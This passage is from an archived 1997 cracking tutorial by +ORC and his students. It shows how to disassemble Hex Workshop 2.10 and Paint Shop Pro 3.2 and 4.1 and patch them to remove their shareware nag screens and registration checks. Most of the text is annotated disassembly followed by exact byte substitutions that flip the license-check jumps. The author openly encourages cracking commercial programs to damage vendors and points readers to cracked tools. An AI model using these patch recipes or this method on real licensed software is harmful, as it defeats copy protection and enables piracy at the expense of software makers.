unfortunately created this overbloated world of huge 'programs'
which perform more slowly (and much more awkwardly) what the old
programs did quickly and flawlessly.
You don't believe me? Why don't you just install Linux on
your harddisk and see for yourself the difference between a good
OS and Windoze? Just try it... you'll be amazed and you'll never
go back... well, you'll actually do... only in order to crack the
hell out of Windows: We'll never damage enough Microsoft's
interests to compensate for this moronic situation: millions of
stupid users have to wait hours (and this with microprocessors
that are 1000 times quicker than the old 8086) to perform with
MS_Word -slowly- what they could have done immediately with an
old copy of Wordperfect for Dos.

http://www.instinct.org/fravia/howto93.htm (2 of 24) [2/7/2001 3:07:25 PM]


Howto93

Anyway, the huge dimension of all Windows' programs forces


us to abandon the printed "dead listing" approach... printing in
extenso the listing of a Windows program would consume a couple
of ink cartridges and could easily take ages... therefore we can
indeed still crack with the "dead listing" method, and we can
indeed still drink our Martinis (and we do, Oh Yessir), but we
must keep the overbloated listings off page, on our PC, printing
only the small part of them that are relevant to our crack.

As I said at the beginning, for this art of cracking you'll


need basically only two programs (and you will NOT need
Softice/Winice).

1) A disassembler like W32DASM (or another good one) in


order to find the protection scheme.
You will probably already possess it (else how did you crack
until now?)... if not find the last version on the Web -through
an Archie search- and download it -through ftpmail-, Searching
the archies will give you something like this:

Host ftp.funet.fi (128.214.248.6)


Last updated 07:57 1 Jan 1997
Location: /pub/mirrors/ftp.cdrom.com/pub/simtelnet/win3/prog
FILE -rwxrwxr-x 650327 bytes 23:25 28 Oct 1996 w32dasm6.zip

2) An hexeditor (Use Hexworkshop version 2.10 itself,


since we are already cracking it :=) in order to defeat the
protection scheme as soon as you have found it. OK, enough, let's
crack.

Here is how the "dead listing" approach works:


1) Run the program you want to crack, in this case Hexworkshop,
look at all the nag_strings and write them down (I mean snap them
down -automatically- from screen... see elsewhere in my tutorial
how to get and crack snap32);
2) Wdasm the file (that means: 'open' it inside the
disassembler in order to get the listing).
3) Transfer the listing to your favorite wordprocessor (we will
not need Wdasm any more, bye)
4) Search (Find) inside your wordprocessor the nag_references,
say, in our case, the string "unregistered version"

You'll immediately land inside following piece of code:


:MAIN_NAG_ROUTINE
:00415732 CC int 03
:00415733 CC int 03

http://www.instinct.org/fravia/howto93.htm (3 of 24) [2/7/2001 3:07:26 PM]


Howto93

:00415734 CC int 03
:00415735 CC int 03
:00415736 CC int 03
:00415737 CC int 03
:00415738 CC int 03
:00415739 CC int 03
:0041573A CC int 03
:0041573B CC int 03
:0041573C CC int 03
:0041573D CC int 03
:0041573E CC int 03
:0041573F CC int 03
:00415740 55 push ebp
:00415741 8BEC mov ebp, esp
:00415743 6AFF push FFFFFFFF
:00415745 6873584100 push 00415873
:0041574A 64A100000000 mov eax, fs:[00000000]
:00415750 50 push eax
:00415751 64892500000000 mov fs:[00000000], esp
:00415758 81EC0C020000 sub esp, 0000020C
:0041575E 53 push ebx
:0041575F 56 push esi
:00415760 57 push edi
:00415761 898DE8FDFFFF mov [ebp-00000218], ecx
:00415767 8B450C mov eax, [ebp+0C]
:0041576A 50 push eax
:0041576B 6A73 push 00000073
:0041576D 8B8DE8FDFFFF mov ecx, [ebp-00000218]
:00415773 E87EFC0100 call 004353F6
:00415778 C745FC00000000 mov [ebp-04], 00000000
:0041577F 8B8DE8FDFFFF mov ecx, [ebp-00000218]
:00415785 83C144 add ecx, 00000044
:00415788 E84EF40100 call 00434BDB
:0041578D C645FC01 mov [ebp-04], 01
:00415791 8B85E8FDFFFF mov eax, [ebp-00000218]
:00415797 C70028AE4500 mov dword ptr [eax], 0045AE28

*StringData Ref from Data Obj->"An unregistered version of Hex"


->"Workshop has been on"
|
:0041579D 68085B4600 push 00465B08
:004157A2 8D85F4FDFFFF lea eax, [ebp-0000020C]

Good, we immediately see that the above routine starts at


instruction
:00415740 55 push ebp

http://www.instinct.org/fravia/howto93.htm (4 of 24) [2/7/2001 3:07:26 PM]


Howto93

Therefore now we'll search our listing for following string:


call 00415740 (that is: who calls here?).
The reason we must search for the caller is very simple: there
is no conditional jump inside the piece of code above... and
therefore it'll very unlikely hide a protection and/or a check
time or nag routine. If we do perform our search for the caller
we'll immediately land inside following routine:

: CALL_NAG_ROUTINE
:00415DAC 55 push ebp ;pusha lotta values
:00415DAD 8BEC mov ebp, esp
:00415DAF 6AFF push FFFFFFFF
:00415DB1 68045E4100 push 00415E04
:00415DB6 64A100000000 mov eax, fs:[00000000]
:00415DBC 50 push eax
:00415DBD 64892500000000 mov fs:[00000000], esp
:00415DC4 83EC54 sub esp, 00000054
:00415DC7 53 push ebx
:00415DC8 56 push esi
:00415DC9 57 push edi
:00415DCA 894DA0 mov [ebp-60], ecx
:00415DCD 6A00 push 00000000
:00415DCF 8B4508 mov eax, [ebp+08]
:00415DD2 50 push eax
:00415DD3 8D4DA4 lea ecx, [ebp-5C] ;for the call
:00415DD6 E865F9FFFF call 00415740 ;*** HERE !!! ***
:00415DDB C745FC00000000 mov [ebp-04], 00000000
:00415DE2 8D4DA4 lea ecx, [ebp-5C]
:00415DE5 E804F70100 call 004354EE
:00415DEA C745FCFFFFFFFF mov [ebp-04], FFFFFFFF
:00415DF1 E805000000 call 00415DFB
:00415DF6 E913000000 jmp 00415E0E
:00415DFB 8D4DA4 lea ecx, [ebp-5C]
:00415DFE E8FD000000 call 00415F00
:00415E03 C3 ret

Good, OK. Now -once more- who calls this function? As -here too-
we don't have any conditional jumps, we are compelled to look
further inside the green branches of our code_tree.
Let's go on: searching for
call 00415DAC (the beginning of the above function)
we will land inside following code:

:WILL _I_CALL_THE_CALL_NAG_ROUTINE_?
:0040254C 6808414500 push 00454108
:00402551 8D8568FEFFFF lea eax, [ebp-198]

http://www.instinct.org/fravia/howto93.htm (5 of 24) [2/7/2001 3:07:26 PM]


Howto93

:00402557 50 push eax


:00402558 E893460200 call 00426BF0
:0040255D 83C408 add esp, 8
:00402560 0FBF0508414500 movsx word ptr eax, [00454108]
:00402567 85C0 test eax, eax
:00402569 0F8586000000 jne 004025F5 ;jump 1 over CALL_NAG
:0040256F 8B8D40FEFFFF mov ecx, [ebp-1C0]
:00402575 E8D3350100 call 00415B4D
:0040257A 85C0 test eax, eax
:0040257C 0F841B000000 je 0040259D
:00402582 8B8D40FEFFFF mov ecx, [ebp-1C0]
:00402588 E866360100 call 00415BF3
:0040258D 8B8D40FEFFFF mov ecx, [ebp-1C0]
:00402593 E8DF360100 call 00415C77
:00402598 E953000000 jmp 004025F0 ;jump 2 over CALL_NAG
:0040259D 8B8D40FEFFFF mov ecx, [ebp-1C0]
:004025A3 E83D370100 call 00415CE5 ;(month year routine)
:004025A8 898570FFFFFF mov [ebp-90], eax
:004025AE 83BD70FFFFFF00 cmp dword ptr [ebp-90], 0
:004025B5 0F8417000000 je 004025D2 ;jump 3 over CALL_NAG
:004025BB 8B8570FFFFFF mov eax, [ebp-90]
:004025C1 50 push eax
:004025C2 8B8D40FEFFFF mov ecx, [ebp-1C0]
:004025C8 E8DF370100 call 00415DAC ;HERE! CALL_NAG! *
:004025CD E91E000000 jmp 004025F0
:004025D2 8D8D7CFFFFFF lea ecx, [ebp-84];jump 3 lands here
:004025D8 E88C420200 call 00426869
:004025DD 85C0 test eax, eax
:004025DF 0F840B000000 je 004025F0
:004025E5 8D8D7CFFFFFF lea ecx, [ebp-84]
:004025EB E8FE2E0300 call 004354EE
:004025F0 E91E000000 jmp 00402613 ;jump 2 lands here
:004025F5 8D8D7CFFFFFF lea ecx, [ebp-84];jump 1 lands here
:004025FB E869420200 call 00426869

Now have a good look at the code above: As you can see there are
only three possible jumps which will NOT call the CALL_NAG
routine. The one at
:00402598 E953000000 jmp 004025F0 (Jump 2)
is not conditional, and therefore very rarely used for nagscreens
protections. Besides, it links to another unconditional jump and
it's most probably a "Quick_out" way... let's eliminate it, at
least for now.
We remain with only two jumps over the NAG_SCREEN call routine:
00402569 0F8586000000 jne 004025F5 (jump 1)
and

http://www.instinct.org/fravia/howto93.htm (6 of 24) [2/7/2001 3:07:26 PM]


Howto93

004025B5 0F8417000000 je 004025D2 (jump 3)

You may investigate both of them, but, hey, you could


eliminate one more jump, again, just using a little Zen code
feeling): see how the jump condition for jump_3 is a base pointer
value [ebp-90], while the one for jump_1 is a memory fixed
location [00454108]... this sort of condition is usually a green
light, for compiler reasons I'll not delve inside here. Therefore
let's have a closer look at it and let's forget jump 3, at least
for now.

:JUMP_1_UNDER_THE_LUPE
:0040254C 6808414500 push 00454108 ;values for
:00402551 8D8568FEFFFF lea eax, [ebp-198]
:00402557 50 push eax ;the following
:00402558 E893460200 call 00426BF0 ;call
:0040255D 83C408 add esp, 8 ;modify stack
:00402560 0FBF0508414500 movsx word ptr eax, [00454108] ;HERE
:00402567 85C0 test eax, eax ;conditional test
:00402569 0F8586000000 jne 004025F5 ;jump over CALL_NAG

What will then this mysterious [00454108] location be? Don't you
feel it? It's the ACTIVATOR! The location with the flag, which
sets the whole nag screen galore for Hexworkshop! Our cracking
job is already finished!
We don't need anything more: we don't need any fiddling with
breakpoints, nor to examine hundreds of irrelevant calls... with
Windows this kind of "dead listing" cracks works so smooth I
could shriek!
But, hey, OK, we will continue our snooping, for the sake
of it and just in order to be completely sure... it's not
necessary, but let's do it anyway... check a little more
around... search, inside your huge listing, all the other
occurrences of the same [00454108] location... you'll get no more
than 5 hits. The most striking one from our cracking point of
view being the following occurrence:

:00402770 898574FFFFFF mov [ebp-8C], eax ;save old eax


:00402776 0FBF0508414500 movsx word ptr eax, [00454108];FLAG*
:0040277D 85C0 test eax, eax ;flag is zero?
:0040277F 0F8528000000 jne 004027AD ;nope, so we won't
:00402785 8B4DEC mov ecx, [ebp-14]
:00402788 E883280000 call 00405010 ;call this, nor
:0040278D 898574FFFFFF mov [ebp-8C], eax ;write

* Possible StringData Ref from Data Obj ->"Unregistered

http://www.instinct.org/fravia/howto93.htm (7 of 24) [2/7/2001 3:07:26 PM]


Howto93

Version"
|
:00402793 6854494600 push 00464954 ;on the screen
:00402798 685C800000 push 0000805C ;& we'll jump over
:0040279D 6800400000 push 00004000 ;these pushes
:004027A2 8B8D74FFFFFF mov ecx, [ebp-8C]
:004027A8 E823280000 call 00404FD0 ;and this call

* Possible StringData Ref from Data Obj ->"ControlBars"


|
:004027AD 686C494600 push 0046496C ;directly here

Well, yes, now it's more than enough, thanks... location


[00454108] seems indeed to be the flag we are searching.
Confirmed. Struck and sunk! Now let's quickly crack Hexworkshop:

*** CRACK FOR HEXWORKSHOP VERSION 2.10 by +ORC (January 1997) **


Use hexworkshop itself (no more debug/symdeb, coz we are working
with the overbloated Microsoft monstrosity) and search inside the
code of the copy on your harddisk for the hex sequence:
08414500
that's the code for our flag_location, duh?

****(a short digression): BE CAREFUL SEARCHING FOR BYTES *****


Be careful with instructions you try to search for. You should
only search for instructions that don't change the bytes they
assemble to, depending on their location in memory. For example,
searching for the following instructions presents no problem:
PUSH DX
POP [DI+4]
ADD AX, 100
but searching for the following instructions CAN cause
unpredictable results:
JE 123
CALL MYFUNC
LOOP 100
**** (end) ********************************* **** **** ****

Searching for the byte sequence 08 41 45 00 you will obviously


find the several occurrences of it we have seen before... you
have to modify only one location though, the one followed by the
two bytes
0F85... (jne after CALL_NAG)
at the FIFTH (and sixth) position after the search string,
because that's the location we are looking for.
Once you found it, write over the byte

http://www.instinct.org/fravia/howto93.htm (8 of 24) [2/7/2001 3:07:26 PM]


Howto93

85
the byte
84
and now you'll have modified the jne in a (je after CALL_NAG).
We'll now jump if equal (as all men should be, by the
way)... Look!... no more nagscreens to annoy our proven aesthetic
perception, no more silly protections to blemish our suave future
hexediting around :=)
I almost forgot... that's obviously not enough... you must as
well modify the location at :0040277F

:0040277F 0F8528000000 jne 004027AD ;jump over 'unregistered'


to
:0040277F 0F8428000000 je 004027AD ;jump equal!

in order to have a well cracked copy of our target.

[PSP 32]
Can we apply this 'dead listing' approach to other programs? Can
we use the same strategies for other protection schemes?
Sure! Let's remain a little more inside the nagscreens
protections.
A logical step, after the invention of the nagscreen itself,
has been the "mingling" of the nagscreen calling routine. In this
kind of protection the nagscreen routines are 'amalgamated' with
other routines, which cannot be skipped as they are essential for
the working of the program. The main disadvantage of this
approach, for the mercantile protectionists, is that they have
therefore to prepare TWO different versions of their programs:
a 'nagscreened' one and a 'clean' one, since else we would
immediately be able to transform the crippled program in a fully
functional one using the same approach they would use to
'uncripple' it.
Such mingling is therefore only used by major programs which
are well established on the market and can afford the 'doubled'
approach. This is the case of the last versions of PaintShopPro
(PSP).
Even in this case, though, we can crack nice enough, as I
will now demonstrate you with PaintShopPro version 3.2 (a 32 bit
program for Windows 95).
You will probably already possess it, if not find the last
version on the Web -through an Archie search- and download it
-through ftpmail-, Searching the archies will give you something
like this:

Host ftp.mds.mdh.se (130.238.252.239)

http://www.instinct.org/fravia/howto93.htm (9 of 24) [2/7/2001 3:07:26 PM]


Howto93

Last updated 08:10 4 Dec 1996


Location: /pub/windows/win95/graphic_utils/paintshop
FILE -rw-r--r-- 311542 bytes 15:11 27 Jul 1996 psp32bit.zip

We have seen in the preceding lesson (-> lesson 9.2) how to


disrupt, through the usual Winice 'live' approach, the
PaintShopPro nagscreens for Windows 3.1., cracking the older
versions of this program. Instead we will now try our 'dead
listing' approach for PSP 32 and PSP Version 4.1 (both 32 bit
programs).
Let's fire PSP32 (I am using here the shareware version with
a PSP.EXE of 1.042.944 bytes, dated 27 December 1995). Let's have
a good look at the nagscreen (snapping it), OK, that's enough.
Now load the target inside Wdasm32 (I am using here version
5 of Wdasm, you'll find cracked versions of it everywhere on the
Web).
As soon as you have the complete (huge) listing of PSP.EXE
use the option "Save disassembly to text file"... you'll get a
huge text file (with 12.590.025 bytes, gosh).
Load it inside a (good and quick, i.e. not Microsoft's)
Wordprocessor and let's first of all have a look at the code
preceding and following our nagscreen (at this point -if you are
not completely imbecile- you should already have grasped the
foundation techniques of my "dead listing" cracking approach).
You will see that in the code of PSP we have a lot of USER
calls. Therefore we cannot use the same easy 'find the caller'
approach used before (more about code mingling later).
Have a look at the following piece of code (the Stringdata
for the Shareware notice has landed us there) there is a
GetDlgItem(), which is User32.EB and a EnableWindow(), which is
User32.AB.
GetDlgItem(), as you should know, returns the handle of the
specified ID control (or zero if error). The ID number is the
parameter passed, the returned value is the hdlg (handle of the
dialog box of ID).

:0041DB69 891D38A04B00 mov [004BA038], ebx ;ebx in here


**
:0041DB6F 6A6C push 6C
:0041DB71 881DF4134C00 mov [004C13F4], bl ;bl in here **
:0041DB77 56 push esi

* Reference To: GetDlgItem, Ord:00EBh in USER32.dll


|
:0041DB78 FF154C5A4C00 call dword ptr [004C5A4C] ;callnag-1
:0041DB7E 50 push eax

http://www.instinct.org/fravia/howto93.htm (10 of 24) [2/7/2001 3:07:26 PM]


Howto93

* Reference To: EnableWindow, Ord:00ABh in USER32.dll ;callnag-2


|
:0041DB7F FF15DC594C00 call dword ptr [004C59DC]

*StringData Ref from Data Obj->"Paint Shop Pro Shareware Notice"


|
:0041DB85 6820174C00 push 004C1720
:0041DB8A 56 push esi

Now follow me closely:


1) Since the following code pushes two locations (one with bx
and the other with bl) just before calling the GetDlgItem and
EnableWindow routines for the "PaintShopPro Shareware Notice"
Window...
2) ...we just need to search these locations ELSEWHERE,
"around" the above section of the code. Let's do it... Searching
the STRING "[004BA038]" we'll fetch inside our wordprocessed
listing two more occurrences: Let's look at the first one: this
piece of code compares to 1 our location just after enabling a
Window:

:REFERENCE_1_OF_OUR_[004BA038]
* Reference To: EnableWindow, Ord:00ABh in USER32.dll
|
:0041DA41 FF15DC594C00 call dword ptr [004C59DC]
:0041DA47 C605F4134C0002 mov byte ptr [004C13F4],2
:0041DA4E 833D38A04B0001 cmp dword ptr [004BA038],1 ;HERE!! **
:0041DA55 7510 jne 0041DA67 ;and the conditional jump!
:0041DA57 6A00 push 00000000 ;If equal (Zero flag),
:0041DA59 6A6C push 0000006C ;push these parameters
:0041DA5B 6811010000 push 00000111 ;for the PostMessage
:0041DA60 56 push esi ;function...

* Reference To: PostMessageA, Ord:01A3h in USER32.dll


|
:0041DA61 FF155C594C00 call dword ptr [004C595C] ;...call)
:0041DA67 B801000000 mov eax, 1 ;our jump here: flag=1
:0041DA6C E9EE030000 jmp 0041DE5F ;end of code snippet, this

jumps to the "popping away" part of the code...


:0041DE5F 5D pop ebp
:0041DE60 5F pop edi
:0041DE61 5E pop esi
:0041DE62 5B pop ebx
:0041DE63 81C434050000 add esp, 00000534

http://www.instinct.org/fravia/howto93.htm (11 of 24) [2/7/2001 3:07:26 PM]


Howto93

:0041DE69 C21000 ret 0010

AhHa! The value 111! (at :0041DA5B). You know what that
means, don't you? For the newbyes among you that don't, learn it
here (the others can skip):
************ THE 111 WM_COMMAND RELEVANCE, by +ORC ********
The function PostMessage() has following structure:
PostMessage(HWND hWnd, UINT uMsg, WPARAM wMsgParam1, LPARAM
lMsgParam2)Where hWnd is the receiving Window, UINT is TRUE or
FALSE WPARAM is a 16 bit value and LPARAM a 32 bit one!
Windows' applications use PostMessage() to deliver WM_Message
requests... and parameter 111 is WM_COMMAND!
Write it on your cracking notes and underline it! 1 is IDOK, 2
is IDCANCEL and 111 is WM_COMMAND.
WM_COMMAND is extremely important for understanding the
behaviour of the application you want to crack, because the
handler for WM_COMMAND is where that application deals with user
commands, such as menu selctions, dialog push button clicks,
etcetera. In other words all what makes the 'guts' of an
application.
An application can tell wich command a user gives through
the wParam parameter to the WM_COMMAND message.
These values are (almost) always part of the application's
menu resources, and it is easy to get the menu ID values through
any utility for resources dumping.
************ (end) **************
OK, so the above listed piece of code has a jump over the
PostMessage routine which (probably) disables the nag screen (6C
is the same ID, for both pieces of code we have seen)...let's try
a "weak" crack on it:

***** WEAK CRACK FOR PSP32, by +ORC, January 1997 ********

1) Use Hexworks32
2) Load PSP.EXE
3) Search for the bytes sequences of the instructions
:0041DA4E 833D38A04B0001 cmp dword ptr [004BA038],1
:0041DA55 7510 jne 0041DA67
which are followed by the pushes:
:0041DA57 6A00 push 00000000 ;zero
:0041DA59 6A6C push 0000006C ;ID
:0041DA5B 6811010000 push 00000111 ;WM_COMMAND

And as a quick crack (but there are more elegant ways) we can
4) substitute the byte '75' at :0041DA55 with a 74, transforming
the jne in a je, as usual, inverting the jumps. Jump if equal!

http://www.instinct.org/fravia/howto93.htm (12 of 24) [2/7/2001 3:07:26 PM]


Howto93

Since I have been (blandly) critized by fellow scholars for


speaking all the time of more elegant ways and yet presenting
only simple ways, here IS a more elegant crack for this code:

4) Substitute with a new ONE the first TWO instructions:


:0041DA4E 66C70538A04B000100 mov word ptr [004BA038],1
and leave all the rest unchanged:
:0041DA57 6A00 push 00000000 ;zero
:0041DA59 6A6C push 0000006C ;ID
:0041DA5B 6811010000 push 00000111 ;WM_COMMAND
*****************************
As you can see, we have just moved the flag '1' inside our
location, instead of comparing and jumping away as in the
original code and in the quickly cracked one. Estilo muchissimo
elegante.

Since this lesson was thought as +HCU material, here is the


result of the work on it made by (some of) my students:

JANUARY 1997: THIS PART OF LESSON 9.3 HAS BEEN MODIFIED (OR
ADDED) BY THE +HCU STUDENTS OF UNIT 4

Let's finish our cracking of the nagscreens of the


whole PaintShopPro family with version 4.1, which is the most
recentwe know of.
I am using here PSP.EXE 1.151.488 bytes from 1 Sep 1996, fetch
it through the archies.
We will crack this shareware program BETTER than the registered
version, since we will completely eliminate any nagscreen and
we'll not ever have the welcome screen that REMAINS inside the
registered version. We'll do this 'in a hurry', since it is not
+ORC speaking, but some of his students... you already know
enough about the 'dead listing' method to be able to follow. No
Winice in our hands, Ladies and Gentleman, We never used it on
this program. (Well... we actually did, before reading 9.3, but
it brought us nowhere, for this crack we (almost) DID NOT,
following +his instructions)
1) Get the 'dead listing' of psp.exe (it's huge)
2) Load it inside a fast wordprocessor
3) Find the string 'Purchasing' at :00406710
4) short after 'Purchasing' the only location compared and loaded
is location [004BC218]. Let's call it 'BINGO' and let's hope
it'll work.
5) this location is handled inside a small part of the code
:00406290 to :004067B5, this reduces the more than one million

http://www.instinct.org/fravia/howto93.htm (13 of 24) [2/7/2001 3:07:26 PM]


Howto93

bytes to 1317 bytes we'll have to examine, not bad.


6) Let's print this nagging part of the code and let's feel it
a little
7) Let's see the possible cracks we could think of (we repeat,
here is not +ORC's but his students at work, we are not perfect).
You'll see this piece of code
:FIRST_ATTEMPT (NOT SO GOOD)
:004065D0 50 push eax
:004065D1 64892500000000 mov fs:[00000000], esp
:004065D8 81ECB4000000 sub esp, 000000B4
:004065DE 833D18C24B0000 cmp dword ptr [004BC218], 0 ;Is
BINGO zero?
:004065E5 56 push esi
:004065E6 57 push edi
:004065E7 0F85A0010000 jne 0040678D ;not really
this is 'pentium optimised' code, with a couple of pushes
'inside' the two logically consecutive instructions following the
double 80586 fetching... on a 80486 you would have had:
push esi; push edi; cmp dword ptr [004BC218], 0; jne 0040678D
We may just try substituting a 0F84 at :004065E7 (that is a jump
equal instead of the jne) and BOUM! We get an 'inamovible'
nagscreen, No way to click it away, it covers the main program
PaintShopPro for the eternity. This confirms that we are on the
right track (it's a green light). Uncrack the code (or reload the
original nagged program). Now look here:
:SECOND_ATTEMPT (NOT SO GOOD)
:00406495 E95AEA0900 jmp 004A4EF4
:0040649A 33F6 xor esi, esi
:0040649C C745FCFFFFFFFF mov [ebp-04], FFFFFFFF
:004064A3 893518C24B00 mov [004BC218], esi ;load esi in
BINGO
Since :00406495 jumps away, it would be interesting to know who
the cuckoos lands at :0040649A. You'll quickly discover that
there are two jumps in this area. One 'xores' the esi before
loading it in our location, the other one does not:
:0040641C 747C je 0040649A ;xores esi
:0040646F EB2B jmp 0040649C ;does not xore esi
So you may be tempted to try 'a passe ou a casse' following
cracks:
:0040641C 747E je 0040649C ;no xoring even if it should
(THIS DOES NOT CHANGE ANYTHING)
:0040646F EB19 jmp 0040649A ; xoring even if it should not
(THIS CRASHES)
Bad score: a frozen nagscreen, a nothing and a crash. Three to
zero for our enemies. Let's look a little more around our 1317
bytes listing.

http://www.instinct.org/fravia/howto93.htm (14 of 24) [2/7/2001 3:07:26 PM]


Howto93

Well, what else?


The following code refers THREE TIMES to our location, that's a
lot, let's hope it does not suck:
:THREE_SISTER_BINGOS
:00406547 33C0 xor eax, eax ;xor
:00406549 85C0 test eax, eax ;test ax
:0040654B 7513 jne 00406560 ;don't move in cx
:0040654D 8B0D18C24B00 1! mov ecx, [004BC218] ;move in cx
:00406553 85C9 test ecx, ecx ;test cx
:00406555 7418 je 0040656F ;don't call Updatewin
:00406557 6A01 push 1
:00406559 8B01 mov eax, [ecx] ;move cx in ax
:0040655B FF5004 call [eax+04] ;and call here
:0040655E EB0F jmp 0040656F ;don't call Updatewin
:00406560 A118C24B00 2! mov eax, [004BC218] ;move in ax soon
:00406565 8B4820 mov ecx, [eax+20]
:00406568 51 push ecx
:00406569 FF15C4014C00 call dword ptr [004C01C4] ;call
Updatewindow
:0040656F 6A00 push 0
:00406571 A118C24B00 3! mov eax, [004BC218] ;move in ax later

Well, something fishy here, don't you feel it? Who comes in here?
From where? Let's have a GOOD look at the 'preamble', i.e. the
part of the code that 'switches' to our THREE_SISTER_BINGOS block
above:
:PREAMBLE_TO_THREE_SISTER_BINGOS
:004064DD FF15BCF24B00 call dword ptr [004BF2BC] ;check this
loc
:004064E3 85C0 test eax, eax ;test
:004064E5 744E je 00406535 ;zero, go 6535
:004064E7 B896000000 mov eax, 96 ;load par 96
:004064EC 3945E0 cmp [ebp-20], eax ;compare this
:004064EF 7C44 jl 00406535 ;lower, go
6535
:004064F1 3945E4 cmp [ebp-1C], eax ;compare that
:004064F4 7C3F jl 00406535 ;lower, go 6535
:004064F6 8B4508 mov eax, [ebp+08] ;load this
:004064F9 85C0 test eax, eax ;test it
:004064FB 7504 jne 00406501 ;do not xor
and...
:004064FD 33C0 xor eax, eax ;xor and
:004064FF EB03 jmp 00406504 ;do not
:00406501 8B4020 mov eax, [eax+20] ;...load this
:00406504 6A00 push 0 ;push

http://www.instinct.org/fravia/howto93.htm (15 of 24) [2/7/2001 3:07:26 PM]


Howto93

:00406506 8B4DE0 mov ecx, [ebp-20] ;load ecx


:00406509 6A00 push 0 ;push

Let's have a look at the 6535 routine of the switch PREAMBLE:


:00406535 E836560100 call 0041BB70
and
:41BB70 A118C34B00 mov eax, [004BC318]
:41BB75 85C0 test eax, eax
:41BB77 7407 je 0041BB80
:41BB79 50 push eax
:41BB7A FF1530F54B00 call dword ptr [004BF530] ;globalFree
:41BB80 C70518C34B00 mov dword ptr [004BC318], 0
:41BB8A C3 ret

Well, let's try along, what happen if we substitute a ret at


:00406535?
:00406535 C390909090 ret and nops
Nothing at all.
And what if we substitute here
:004064F6 8B4508 mov eax, [ebp+08]
:004064F9 85C0 test eax, eax
:004064FB 7504 jne 00406501
:004064FD 33C0 xor eax, eax
:004064FF EB03 jmp 00406504
:00406501 8B4020 mov eax, [eax+20]
:00406504 6A00 push 00000000
... the instruction
:004064FB 7504 jne 00406501
with the instruction 7500 (or 90 90)?
MOST BRILLIANT!
Now we XOR ANYWAY THIS AX without caring for ax+20. The nagscreen
is defeated? Not really... the nagscreen has been passed ON THE
BACKGROUND, where it still remains when you shut the 'main'
window of the program... the nag protection is somewhere there,
looking at us square in the faces... but where?
+gthorne here: since i had already seen the production version
of paint shop pro, i realized that it also had a nag screen - not
per se, but a splash screen (the very same screen without the
buttons to push and the 'number of days elapsed' warning). what
this means is that it is very possible that the screen
(regardless of what version we are running) could be intermingled
with the rest of the code, and not fully existing within a
call. This does not proved it, just allowed the possibility.

Poking around, and being playful, i fired up snap32 and grabbed


the nagscreen window and saved it for future reference.

http://www.instinct.org/fravia/howto93.htm (16 of 24) [2/7/2001 3:07:26 PM]


Howto93

The next thing i did was check into the help screen area of Paint
Shop Pro. Often in shareware programs there is a HELP ABOUT, or
a HELP REGISTER section. Sometimes those places give away good
info needed (or just plain useful) in the crack routine.

Something that stood out in the help area was the paint shop pro
version statement. It seemed to be identical to the printed
version as seen on the nag screen. That means one of two things:
either the version number string was just typed in twice, or more
likely, just another call to a function: PSP_VERSION() or
somesuch.

What that means for the crackist should be pretty clearly a way
to locate the protection routine. Since the word SHAREWARE shows
up in both version calls, it can be scanned for pretty easily
with either that or the word VERSION itself.

Then, once i felt i had done enough scouting the territory, I ran
WDASM and grabbed myself a dead listing. Scanning for SHAREWARE,
I found a couple easy references to it... one being a data string
that I promptly blanked out and the other being in the text that
comes up on the nagscreen itself. WELL WELL...

This is the nagscreen result here:

* StringData Ref from Data Obj ->"This is a shareware version


of "Paint Shop Pro."
|
:00406B64 6810A34B00 push 004BA310
:00406B69 8D4DEC lea ecx, [ebp-14]

Okay, running the program again, and firing softice (old friend)
i immediately saw that the version checking routine no longer
tacked on the word SHAREWARE in either the nagscreen or in the
help box.. thus proving the version call to be just that.. a call
(as suspected).

Immediately, something else came up that I was not expecting, the


location of most of the program in memory was exactly the same
as seen with softice that it was hardcoded into the disassembly.
What i mean by that is that where softice was reporting
0137:0043FAD1 for a location in memory, identical data was
reported at location :0043FAD1 on the disassembly.

Now, talk about convenient!

http://www.instinct.org/fravia/howto93.htm (17 of 24) [2/7/2001 3:07:26 PM]


Howto93

Simply enough, i breakpointed in softice with a few locations i


had located in the disassembly, and voila... landed smack in the
middle of the nagscreen data.

It was do-able with soft-ice alone, but tracing into the maze of
nested calls in PSP really wasn't worth my time.

Line-by-line'ing it, it was simple to watch the nagscreen build


itself call by call, and NOP or alter JZ's & JNZ's to JMP's (74's
and 75's become EB's) so that the nagscreen lost more and more
functionality.

Then came a little work - not too much, but some things were a
little funny. Notice the BITBLT in the nagscreen creation code.
I had tried to scan for some of the standard SHOWWINDOW calls
with softice and in the disassembly, but not one was to be found
where it needed to be. Apparently PSP was using some other method
of showing the screen... and a simple graphics memory copy (known
to those who follow Micro$oft as a BitBlt) was apparently the
modus operandi.

Some of the text was already in place before the BitBlt, so here
is our reason that some of the nagscreen was not being done as
we watched with the debugger... it was being written to a
backbuffer before being copied as a whole window before being
blitted to the screen. This, for those of you new to graphics
programming, is how people make smooth animation that does not
flicker... all of the animating is done in the background and a
whole screen is blitted at one time rather than by bits and
pieces (you can tell which programs do not do this very easily
since they have images that seem to disappear or flicker wrong
in odd places on the screen)

There were not many calls in that area, and only the ones that
referenced string data or the bitblt itself could be effectively
nop'ed out.

Here is where i basically stopped the work, since i was having


trouble locating what CALLED the nagscreen area.

The reason we are getting the ghost window in the back (notice
it's size is EXACTLY the same as the nagscreen, is that windows
is being instructed by some window create command to block off
the rectangular space for the screen even though the graphic
interior does not get written.

http://www.instinct.org/fravia/howto93.htm (18 of 24) [2/7/2001 3:07:26 PM]


Howto93

The backgrounding code is invaluable here since the ghost window


does not have a way to be removed without paint shop pro closing
(which cleans up nicely for itself on exit).

Now we need to locate the call that creates the window in the
first place and nop it or whatever... there is probably a nicer
way to do all this (if you work at it, you can probably jmp past
all the functions i nop'd - taking care not to leave unmatched
pushes or pops which ruin the flow of the program - at some point
in the nagscreen area

The funny part of all this is that our cracked version will be
better than the registered version since the registered version
has a splash screen anyway - and ours does not :)

Using all of this knowledge later can actually benefit us in a


different way... we can actually use all of the techniques (since
we already know where the nagscreen is) on the executable of the
full version as well.
Since it has no nag functions, it is a smaller executable and
cracking it will give is a nagless, splashless (eg. screenless)
version of paint shop pro that is smaller (i.e. better and more
functional) than by just cracking the shareware version.

I find that funny somehow :)

So here is all the rest you need:

Let's have a look at the VERSION subroutine that is called both


in the nagscreen and the HELP screen:

* StringData Ref from Data Obj ->"4" ;FIRST DIGIT OF VERSION 4.01
|
:004350E4 6874AE4B00 push 004BAE74
:004350E9 8B3D90004C00 mov edi, [004C0090]
:004350EF C645FC07 mov [ebp-04], 07
:004350F3 C706F0A54A00 mov dword ptr [esi], 004AA5F0
:004350F9 FFD7 call edi
